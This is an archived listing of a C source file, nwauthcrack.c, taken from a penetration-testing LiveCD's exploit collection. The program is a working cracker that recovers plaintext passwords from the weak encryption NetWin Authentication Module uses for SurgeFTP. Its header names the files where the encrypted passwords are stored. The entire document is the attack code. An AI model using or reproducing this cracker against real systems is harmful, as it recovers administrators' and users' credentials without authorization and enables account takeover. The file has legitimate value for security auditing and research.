home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / surgeftp / nwauthcrack.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  78 lines

  1. /********************************************************************
  2.  * nwauthcrack.c - NetWin Authentication Module password cracker    *
  3.  * the SurgeFTP encrypted passwords can be found in the admin.dat & *
  4.  * nwauth.clg files in the nwauth.exe directory                     *
  5.  * by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *
  6.  ********************************************************************/
  7.  
  8. #include <string.h>
  9. #include <stdio.h>
  10.  
  11. FILE *fh;
  12. /* the following table indices refer to the characters our
  13.    generated password may consist of (true/false), since
  14.    we don't want to go into too much trouble when typing
  15.    everything in :) */
  16. const char okaychars[256] = {
  17. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  18. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  19. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  20. 1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,
  21. 0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
  22. 1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
  23. 0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
  24. 1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
  25. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  26. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  27. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  28. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  29. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  30. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  31. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  32. 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
  33. };
  34.  
  35. /* DECRYPTION ALGORITHMS */
  36. int enumpwds(unsigned char encrypted[]) {
  37.   int heavycrypt0;
  38.   unsigned int num=0, i, x;
  39.   unsigned char j[256], decrypted[256];
  40.   for(i=0; i<256;i++) { j[i] = 0; }
  41. brute:
  42.   heavycrypt0 = (unsigned char)encrypted[1]*255+(unsigned char)encrypted[0];
  43.   for(i=0; i+2 < strlen(encrypted); i++) {
  44.     for(x=j[i]; x < 256; x++) {
  45.       if ((x * (heavycrypt0+1) % 40 == (encrypted[i+2]-0x41)) & okaychars[x]) {
  46.         decrypted[i] = x;
  47.         break;
  48.       }
  49.     }
  50.     if (x == 256) {
  51. next:
  52.       if (i == 0) return num;
  53.       if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }
  54.       for (i=x; i < 256; i++) { j[i] = 0; }
  55.       goto brute;
  56.     }
  57.     heavycrypt0 += x; heavycrypt0 *= 3; heavycrypt0 %= 0x7D00;
  58.   }
  59.   decrypted[i] = '\x00';
  60.   num++;
  61.   printf("%s\n", decrypted);  
  62.   if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }
  63.   for (i=x; i < 256; i++) { j[i] = 0; }
  64.   goto brute;
  65. }
  66. /* DECRYPTION ALGORITHMS END */
  67.  
  68. void main(int argc, char ** argv) {
  69.   char buf[256]; int k, l;
  70.  
  71.   printf("NetWin Authentication Module password cracker by [ByteRage]\n\n");
  72.   
  73.   if (argc < 2) { printf("Syntax : %s <password>\n", argv[0]); return; }
  74.   printf("%s ->\n",argv[1]);
  75.   
  76.   printf("\n%d passwords found for %s\n",enumpwds(argv[1]),argv[1]);
  77. }
  78.